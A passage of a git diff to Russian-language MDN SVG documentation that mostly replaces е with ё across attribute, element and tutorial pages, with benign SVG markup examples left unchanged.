--- a/files/ru/web/svg/attribute/r/index.html
+++ b/files/ru/web/svg/attribute/r/index.html
@@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/r
 
 
            Для {{ SVGElement("radialGradient") }}, r устанавливает радиус конечной окружности радиального градиента.
            
 
-
            Градиент будет нарисован таким образом, чтобы  100% конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведет к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента  {{ SVGElement("stop") }}.
            
+
            Градиент будет нарисован таким образом, чтобы  100% конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведёт к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента  {{ SVGElement("stop") }}.
            
 
 
diff --git a/files/ru/web/svg/attribute/repeatcount/index.html b/files/ru/web/svg/attribute/repeatcount/index.html
index ad584e3305..0023ba65af 100644
--- a/files/ru/web/svg/attribute/repeatcount/index.html
+++ b/files/ru/web/svg/attribute/repeatcount/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/repeatCount
 ---
 
            « Справочник SVG атрибутов
            
 
-
            Данный атрибут задает, сколько раз должна выполняться анимация.
            
+
            Данный атрибут задаёт, сколько раз должна выполняться анимация.
            Значение атрибута определяет количество итераций. Принимаются числа с плавающей точкой, которые интерпретируются как доля итерации. Значение должно быть больше нуля.
            
 
diff --git a/files/ru/web/svg/attribute/rx/index.html b/files/ru/web/svg/attribute/rx/index.html
index 78f0ab86e0..c033fd34aa 100644
--- a/files/ru/web/svg/attribute/rx/index.html
+++ b/files/ru/web/svg/attribute/rx/index.html
@@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/rx
 
            Способ интерпретации значения атрибута rx зависит как от атрибута {{SVGAttr("ry")}} , так и от ширины прямоугольника:
              
- 
            • Если правильно задано значение для rx, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.
              • 
+ 
            • Если правильно задано значение для rx, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.
              • 
  
            • Если ни rx, ни {{SVGAttr("ry")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.
              • 
  
            • Если rx больше половины ширины прямоугольника, то браузер будет считать значение rx половиной ширины прямоугольника.
              • 
 
            
diff --git a/files/ru/web/svg/attribute/ry/index.html b/files/ru/web/svg/attribute/ry/index.html
index f0b87c7a46..9267facd7f 100644
--- a/files/ru/web/svg/attribute/ry/index.html
+++ b/files/ru/web/svg/attribute/ry/index.html
@@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/ry
 
            Способ интерпретации значения атрибута ry зависит как от атрибута {{SVGAttr("rx")}} , так и от ширины прямоугольника:
              
- 
            • Если правильно задано значение для ry, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.
              • 
+ 
            • Если правильно задано значение для ry, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.
              • 
  
            • Если ни ry, ни {{SVGAttr("rx")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.
              • 
  
            • Если ry больше половины ширины прямоугольника, то браузер будет считать значение ry половиной ширины прямоугольника.
              • 
 
            
diff --git a/files/ru/web/svg/attribute/shape-rendering/index.html b/files/ru/web/svg/attribute/shape-rendering/index.html
index 9110b8ce42..d5b03117ab 100644
--- a/files/ru/web/svg/attribute/shape-rendering/index.html
+++ b/files/ru/web/svg/attribute/shape-rendering/index.html
@@ -32,13 +32,13 @@ translation_of: Web/SVG/Attribute/shape-rendering
 
 
            
  
            auto
            
- 
            Указывает на то, что браузер должен внести соответствующие компромиссы, чтобы сбалансировать скорость рендеринга, четкие края и геометрическую точность, но геометрической точности уделять более пристальное внимание, чем скорости и четким краями.
            
+ 
            Указывает на то, что браузер должен внести соответствующие компромиссы, чтобы сбалансировать скорость рендеринга, чёткие края и геометрическую точность, но геометрической точности уделять более пристальное внимание, чем скорости и чётким краями.
            
  
            optimizeSpeed
            
- 
            Указывает на то, что браузер должен акцентироваться на скорость рендеринга, в ущерб геометрической точности и четким краями. Эту опцию также можно указывать,, чтобы отключить сглаживание фигур.
            
+ 
            Указывает на то, что браузер должен акцентироваться на скорость рендеринга, в ущерб геометрической точности и чётким краями. Эту опцию также можно указывать,, чтобы отключить сглаживание фигур.
            
  
            crispEdges
            
- 
            Указывает на то, что браузер должен попытаться акцентировать на контрасте чистых краев рисунков, в ущерб скорости рендеринга и геометрической точности. Для достижения наилучшего результата четкости края, браузер может отключить сглаживание для всех линий и кривых или, возможно, только для прямых, близких к вертикальным или горизонтальным. Кроме того, браузер может скорректировать позиции строк и ширину линий для выравнивания краев с пикселями устройства.
            
+ 
            Указывает на то, что браузер должен попытаться акцентировать на контрасте чистых краёв рисунков, в ущерб скорости рендеринга и геометрической точности. Для достижения наилучшего результата чёткости края, браузер может отключить сглаживание для всех линий и кривых или, возможно, только для прямых, близких к вертикальным или горизонтальным. Кроме того, браузер может скорректировать позиции строк и ширину линий для выравнивания краёв с пикселями устройства.
            
  
            geometricPrecision
            
- 
            Указывает на то, что браузер должен акцентировать геометрическую точность в ущерб скорости и четкими краям.
            
+ 
            Указывает на то, что браузер должен акцентировать геометрическую точность в ущерб скорости и чёткими краям.
            
 
            Пример
            
diff --git a/files/ru/web/svg/attribute/stroke/index.html b/files/ru/web/svg/attribute/stroke/index.html
index d6ddd0420a..29332e0327 100644
--- a/files/ru/web/svg/attribute/stroke/index.html
+++ b/files/ru/web/svg/attribute/stroke/index.html
@@ -39,7 +39,7 @@ translation_of: Web/SVG/Attribute/stroke
 
 
            SVG Line с stroke
            
 
-
            Пример 1: Нарисуйте прямую зеленую линию, используя stroke.
            
+
            Пример 1: Нарисуйте прямую зелёную линию, используя stroke.
            <svg height="50" width="300">
     <path stroke="green" d="M5 20 1215 0" />
@@ -47,7 +47,7 @@ translation_of: Web/SVG/Attribute/stroke
 
 
            {{EmbedLiveSample('Example1_Draw_straight_green_line_using_stroke.', '300', '50', '', 'Web/SVG/Attribute/stroke')}}
            
 
-
            Пример 2: Нарисуйте черный круг с синей рамкой используя stroke.
            
+
            Пример 2: Нарисуйте чёрный круг с синей рамкой используя stroke.
            
 
 
            ​​<svg height="100" width="100">
     <circle cx="50" cy="50" r="40" stroke="blue" stroke-width="2" fill="black" />
diff --git a/files/ru/web/svg/attribute/text-anchor/index.html b/files/ru/web/svg/attribute/text-anchor/index.html
index 9ffcbe7be3..d974c6e812 100644
--- a/files/ru/web/svg/attribute/text-anchor/index.html
+++ b/files/ru/web/svg/attribute/text-anchor/index.html
@@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/text-anchor
  правому выравниванию. Для шрифтов которые по определению справа налево такие как Иврит и Арабский это эквивалентно левому выравниванию.
  
            Примечание
            
  
            В IE-11 атрибут text-anchor не имеет эффекта при привязке текста к заданному пути path посредством тега textPath.
            
- В приведенном ниже примере тег path использовался только лишь для отрисовки линий и с расположением текста никак не связан.
            
+ В приведённом ниже примере тег path использовался только лишь для отрисовки линий и с расположением текста никак не связан.
 
 
 
            Пример
            
diff --git a/files/ru/web/svg/attribute/transform/index.html b/files/ru/web/svg/attribute/transform/index.html
index c202361239..944d0b51b0 100644
--- a/files/ru/web/svg/attribute/transform/index.html
+++ b/files/ru/web/svg/attribute/transform/index.html
@@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/transform
   <!-- Это элемент до применения переноса и поворота -->
   <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2" fill-opacity=0.2 stroke-opacity=0.2></rect>
 
-  <!-- Здесь мы добавим текстовый элемент, повернем и перенесем оба элемента -->
+  <!-- Здесь мы добавим текстовый элемент, повернём и перенесём оба элемента -->
   <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2" transform="translate(30) rotate(45 50 50)"></rect>
   <text x="60" y="105" transform="translate(30) rotate(45 50 50)"> Hello Moz! </text>
 
diff --git a/files/ru/web/svg/attribute/values/index.html b/files/ru/web/svg/attribute/values/index.html
index 72929084aa..d0544c82b8 100644
--- a/files/ru/web/svg/attribute/values/index.html
+++ b/files/ru/web/svg/attribute/values/index.html
@@ -7,12 +7,12 @@ translation_of: Web/SVG/Attribute/values
 
 
            Атрибут values имеет два значения в зависимости от используемого контекста.
            
 
-
            Для элементов анимации атрибут values представляет собой разделенный точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список values, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.
            
+
            Для элементов анимации атрибут values представляет собой разделённый точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список values, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.
            
 
 
            Для элемента {{ SVGElement("feColorMatrix") }} содержимое values зависит от значения атрибута {{ SVGAttr("type") }}:
            
 
 
              
- 
            • Для type="matrix", values — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделенных пробелами и/или запятой.
              • 
+ 
            • Для type="matrix", values — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделённых пробелами и/или запятой.
              • 
  
            • Для type="saturate", values — это единственное вещественное число (от 0 до 1).
              • 
  
            • Для type="hueRotate", values — это одно вещественное число (градусов).
              • 
  
            • Для type="luminanceToAlpha", values не применимы.
              • 
diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html
index 1433367c9d..a3ad81efdb 100644
--- a/files/ru/web/svg/attribute/viewbox/index.html
+++ b/files/ru/web/svg/attribute/viewbox/index.html
@@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/viewBox
 
 
              Аттрибут viewBox определяет расположение и размеры окна отображения SVG.
              
 
-
              Значение атрибута viewBox — это набор четырех чисел: min-x, min-y, width и height, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не браузера).
              
+
              Значение атрибута viewBox — это набор четырёх чисел: min-x, min-y, width и height, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не браузера).
              
 
 
            
-   
+   
@@ -50,7 +50,7 @@ original_slug: Web/SVG/Элемент/rect
 
 
            » rect-1.svg
            
 
-
            <rect> со скругленными углами
            
+
            <rect> со скруглёнными углами
             
            
 
diff --git a/files/ru/web/svg/element/text/index.html b/files/ru/web/svg/element/text/index.html
index ffb6583fb6..e7cc42214d 100644
--- a/files/ru/web/svg/element/text/index.html
+++ b/files/ru/web/svg/element/text/index.html
@@ -27,7 +27,7 @@ original_slug: Web/SVG/Элемент/
     .small { font: italic 13px sans-serif; }
     .heavy { font: bold 30px sans-serif; }
 
-    /* Обратите внимание, что цвет текста задается с помощью        *
+    /* Обратите внимание, что цвет текста задаётся с помощью        *
      * fill свойства, а свойство color используется только для HTML */
     .Rrrrr { font: italic 40px serif; fill: red; }
   </style>
@@ -195,7 +195,7 @@ original_slug: Web/SVG/Элемент/
 
 
            Совместимость с браузером
            
 
-
+
 
 
            {{Compat("svg.elements.text")}}
            
 
diff --git a/files/ru/web/svg/element/use/index.html b/files/ru/web/svg/element/use/index.html
index 39e26289f3..1efa68b4e0 100644
--- a/files/ru/web/svg/element/use/index.html
+++ b/files/ru/web/svg/element/use/index.html
@@ -43,7 +43,7 @@ original_slug: Web/SVG/Элемент/use
  По соображениям безопасности, браузеры могут применять правило ограничения домена для элементов use и могут отказаться загружать URL другого источника в атрибуте {{SVGAttr("href")}}.
            
 
 
            
-
            Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее,  на практике всё еще может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите таблицу совместимости ниже).
            
+
            Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее,  на практике всё ещё может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите таблицу совместимости ниже).
            
 
            
 
 
            Атрибуты
            
diff --git a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
index b552e8a208..0cf6a5ef86 100644
--- a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
+++ b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html
@@ -97,7 +97,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
     
              
      
            • Выполнена.
              • 
      
            • Не полностью соблюдает <svg:use> каскадные правила ({{Bug(265894)}}).
              • 
-     
            • Не передает события в дерево SVGElementInstance ({{Bug(265895)}}).
              • 
+     
            • Не передаёт события в дерево SVGElementInstance ({{Bug(265895)}}).
              • 
     
            
    
               
@@ -238,7 +238,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
    
@@ -376,7 +376,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
      
          • Выполнена.
          • Из псевдо-входов:
            
       SourceGraphic, SourceAlpha, FillPaint {{gecko_minversion_inline("17")}} и StrokePaint {{gecko_minversion_inline("17")}} - реализованы.
            • 
-     
          • Использование нереализованного псевдо-входного или фильтрующего элемента приведет к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.
            • 
+     
          • Использование нереализованного псевдо-входного или фильтрующего элемента приведёт к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.
            • 
diff --git a/files/ru/web/svg/tutorial/basic_shapes/index.html b/files/ru/web/svg/tutorial/basic_shapes/index.html
index 290e5af23d..882ce4142f 100644
--- a/files/ru/web/svg/tutorial/basic_shapes/index.html
+++ b/files/ru/web/svg/tutorial/basic_shapes/index.html
@@ -111,7 +111,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры
 
 
            Ломаная линия
            
 
-
            Элемент polyline воспроизводит группу соединенных прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:
            
+
            Элемент polyline воспроизводит группу соединённых прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:
            <polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/>
            
 
@@ -133,7 +133,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры
 
 
            Путь
            
 
-
            Path, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закругленными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно в следующей секции этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.
            
+
            Path, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закруглёнными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно в следующей секции этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.
            <path d="M 20 230 Q 40 205, 50 230 T 90230"/>
            
 
diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html
index 698933241a..634ef93da3 100644
--- a/files/ru/web/svg/tutorial/basic_transformations/index.html
+++ b/files/ru/web/svg/tutorial/basic_transformations/index.html
@@ -24,14 +24,14 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования
 
 
            Перемещения
            
 
-
            Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определенным атрибутам. Для этого используется translate().
            
+
            Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определённым атрибутам. Для этого используется translate().
            <svg width="40" height="50" style="background-color:#bff;">
     <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" />
 </svg>
 
            
 
-
            Пример генерирует прямоугольник, перемещенный в точку  (30,40) вместо точки (0,0).
            
+
            Пример генерирует прямоугольник, перемещённый в точку  (30,40) вместо точки (0,0).
            {{ EmbedLiveSample('Translation', '40', '50', '', 'Web/SVG/Tutorial/Basic_Transformations') }}
            
 
@@ -46,7 +46,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования
 </svg>
 
 
-
            Данный пример показывает квадрат который повернули на 45 градусов. Значение для rotate() задается в градусах.
            
+
            Данный пример показывает квадрат который повернули на 45 градусов. Значение для rotate() задаётся в градусах.
            {{ EmbedLiveSample('Rotation', '31', '31', '', 'Web/SVG/Tutorial/Basic_Transformations') }}
            
 
@@ -60,7 +60,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования
 
 
            Комплексные перемещения с matrix()
            
 
-
            Все приведенные выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью matrix(a, b, c, d, e, f), которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:
            
+
            Все приведённые выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью matrix(a, b, c, d, e, f), которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:
            {xnewCoordSys=axprevCoordSys+cyprevCoordSys+eynewCoordSys=bxprevCoordSys+dyprevCoordSys+f\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right. 
            
 
@@ -68,7 +68,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования
 
 
            Эффекты на системе координат
            
 
-
            В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повернуты, перемещены и смаштабированы в соответствии с преобразованиями.
            
+
            В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повёрнуты, перемещены и смаштабированы в соответствии с преобразованиями.
            <svg width="100" height="100">
     <g transform="scale(2)">
diff --git a/files/ru/web/svg/tutorial/clipping_and_masking/index.html b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
index f5d2198fc8..c87cfa7287 100644
--- a/files/ru/web/svg/tutorial/clipping_and_masking/index.html
+++ b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
@@ -8,7 +8,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
 
 
             
            
 
-
            На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнетесь со следующими свойствами.
            
+
            На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнётесь со следующими свойствами.
            
  
            
  Обрезка (Clipping) позволяет скрыть часть одного или нескольких элементов, используя другой. В этом случае нельзя настроить прозрачность элемента, это подход «все или ничего».
            
  
            
@@ -29,7 +29,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
 </svg>
 
            
 
-
            По центру (100,100) нарисован круг с радиусом 100. Атрибут clip-path ссылается на элемент {{ SVGElement("clipPath") }}, который содержит элемент rect. Этот прямоугольник позволит отрисовать верхнюю половину черного холста. Обратите внимание, что элемент clipPath обычно помещается в раздел defs.
            
+
            По центру (100,100) нарисован круг с радиусом 100. Атрибут clip-path ссылается на элемент {{ SVGElement("clipPath") }}, который содержит элемент rect. Этот прямоугольник позволит отрисовать верхнюю половину чёрного холста. Обратите внимание, что элемент clipPath обычно помещается в раздел defs.
            
  
            
  При этом сам прямоугольник отрисован не будет. Вместо этого прямоугольник задаст область отрисовки. Так как прямоугольник перекрывает только верхнюю половину круга, нижняя половина круга исчезает:
            
 
@@ -57,7 +57,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
 </svg>
 
 
-
            Фактически на примере находятся два прямоугольника: зеленый на нижнем слое и красный на верхнем. У красного есть атрибут mask, который ссылается на элемент mask. Содержимое маски это элемент rect, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зеленый градиент: 
            
+
            Фактически на примере находятся два прямоугольника: зелёный на нижнем слое и красный на верхнем. У красного есть атрибут mask, который ссылается на элемент mask. Содержимое маски это элемент rect, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зелёный градиент: 
            {{ EmbedLiveSample('Masking','240','240','/files/3234/maskdemo.png') }}
            
 
@@ -78,7 +78,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
 
 
            {{ EmbedLiveSample('Transparency_with_opacity','240','240','/files/3231/opacitydemo.png') }}
            
 
-
            В этом примере используется красный круг на голубом фоне. Желтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.
            
+
            В этом примере используется красный круг на голубом фоне. Жёлтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.
            Использование хорошо известных CSS техник
            
 
diff --git a/files/ru/web/svg/tutorial/fills_and_strokes/index.html b/files/ru/web/svg/tutorial/fills_and_strokes/index.html
index 0ba67eee54..e113c00376 100644
--- a/files/ru/web/svg/tutorial/fills_and_strokes/index.html
+++ b/files/ru/web/svg/tutorial/fills_and_strokes/index.html
@@ -34,7 +34,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
   <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/>
 </svg>
 
-
            Свойство stroke-width определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображен розовым, а обводка - черным.
            
+
            Свойство stroke-width определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображён розовым, а обводка - черным.
            Второй атрибут, влияющий на обводку - свойство stroke-linecap. Демонстрируется выше. Свойство управляет отображением концов линий.
            
 
@@ -43,7 +43,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
 
              
  
            • butt обрывает линию под прямым углом к направлению обводки и делает это сразу по окончании линии.
              • 
  
            • square в основном действует также, но немного растягивает обводку по краям пути. Длина, на которую продлевается обводка - это половина заданного значения stroke-width.
              • 
- 
            • round задаёт закругленные углы по краям обводки. Радиус этих кривых также управляется параметром stroke-width.
              • 
+ 
            • round задаёт закруглённые углы по краям обводки. Радиус этих кривых также управляется параметром stroke-width.
              • 
 
            Используйте stroke-linejoin, чтобы определить, как соединять обводку двух сегментов линии.
            
@@ -66,7 +66,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
 
 
              
  
            • miter продолжает линию обводки дальше её обычной ширины, чтобы создать единственный квадратный угол.
              • 
- 
            • round создаёт закругленный сегмент линии
              • 
+ 
            • round создаёт закруглённый сегмент линии
              • 
  
            • bevel создаёт новый угол для помощи в переходе между двумя сегментами
              • 
 
            
 
@@ -82,13 +82,13 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
     stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/>
 </svg>
 
-
            В качестве аргумента атрибут stroke-dasharray принимает последовательность чисел, разделенных запятой.
            
+
            В качестве аргумента атрибут stroke-dasharray принимает последовательность чисел, разделённых запятой.
            
 
            Замечание: в отличие от путей, эти числа ДОЛЖНЫ быть разделены запятыми (пробелы игнорируются).
            
 
            
 
-
            Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать четный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.
            
+
            Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать чётный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.
            Также есть дополнительные stroke и fill свойства: fill-rule, которое определяет как будут заливаться сложные фигуры, которые имеют пересечения внутри себя; stroke-miterlimit, which determines if a stroke should draw miters и stroke-dashoffset, который указывает где начинается dash-array в линии (позволяет задать смещение пунктирной обводки относительно первоначального положения)
            
 
@@ -103,7 +103,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
 
             <rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/>
 
            
 
-
            или может быть помещен в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <head>, как это делается в HTML, она включается в зону <defs>, предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.
            
+
            или может быть помещён в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <head>, как это делается в HTML, она включается в зону <defs>, предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.
            <?xml version="1.0" standalone="no"?>
 <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1">
diff --git a/files/ru/web/svg/tutorial/filter_effects/index.html b/files/ru/web/svg/tutorial/filter_effects/index.html
index d063063795..13e8214c27 100644
--- a/files/ru/web/svg/tutorial/filter_effects/index.html
+++ b/files/ru/web/svg/tutorial/filter_effects/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Tutorial/Filter_effects
 ---
 
            {{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}
            
 
-
            Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определенного эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. 
            
+
            Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определённого эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. 
            
  
            
  Основным примером может послужить эффект размытия в SVG. Базовый эффект размытия может быть достигнут с помощью градиентов, фильтр размытия необходим, чтобы сделать что-либо большее.
            
 
diff --git a/files/ru/web/svg/tutorial/getting_started/index.html b/files/ru/web/svg/tutorial/getting_started/index.html
index c50b5ba0ea..f42a01eda8 100644
--- a/files/ru/web/svg/tutorial/getting_started/index.html
+++ b/files/ru/web/svg/tutorial/getting_started/index.html
@@ -10,7 +10,7 @@ translation_of: Web/SVG/Tutorial/Getting_Started
 
 
            Простой пример
            
 
-
            Давайте начнем наше погружение с простого примера. Посмотрите на код, представленный ниже:
            
+
            Давайте начнём наше погружение с простого примера. Посмотрите на код, представленный ниже:
            
 
 
            <svg version="1.1"
      baseProfile="full"
@@ -38,12 +38,12 @@ translation_of: Web/SVG/Tutorial/Getting_Started
   
              
    
            • как известно из (X)HTML, декларацию doctype следует опустить, потому что DTD на основе валидации SVG приводит к бо́льшим проблемам, чем их решает
              • 
    
            • до SVG 2, чтобы обозначить версию SVG для других типов валидации, всегда следует использовать атрибуты version и baseProfile. Но в SVG 2 оба эти атрибута version и baseProfile обрели статус не рекомендованных
              • 
-   
            • как диалект XML, SVG всегда правильно должен связывать пространства имен (в атрибуте xmlns). Смотри страницу Namespaces Crash Course для большей информации.
              • 
+   
            • как диалект XML, SVG всегда правильно должен связывать пространства имён (в атрибуте xmlns). Смотри страницу Namespaces Crash Course для большей информации.
              • 
   
            
  
  
          • Фон устанавливается красным при помощи рисования прямоугольника <rect/>, который покрывает всю область изображения
            • 
- 
          • Зеленый круг <circle/> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещен на 150px вправо, и 100px вниз).
            • 
- 
          • Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зеленого круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.
            • 
+ 
          • Зелёный круг <circle/> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещён на 150px вправо, и 100px вниз).
            • 
+ 
          • Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зелёного круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.
            • 
 
 
 
            Основные свойства файлов SVG
            
diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html
index 2e4ef085cf..45faea509a 100644
--- a/files/ru/web/svg/tutorial/gradients/index.html
+++ b/files/ru/web/svg/tutorial/gradients/index.html
@@ -42,7 +42,7 @@ translation_of: Web/SVG/Tutorial/Gradients
 
 
            {{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}
            
 
-
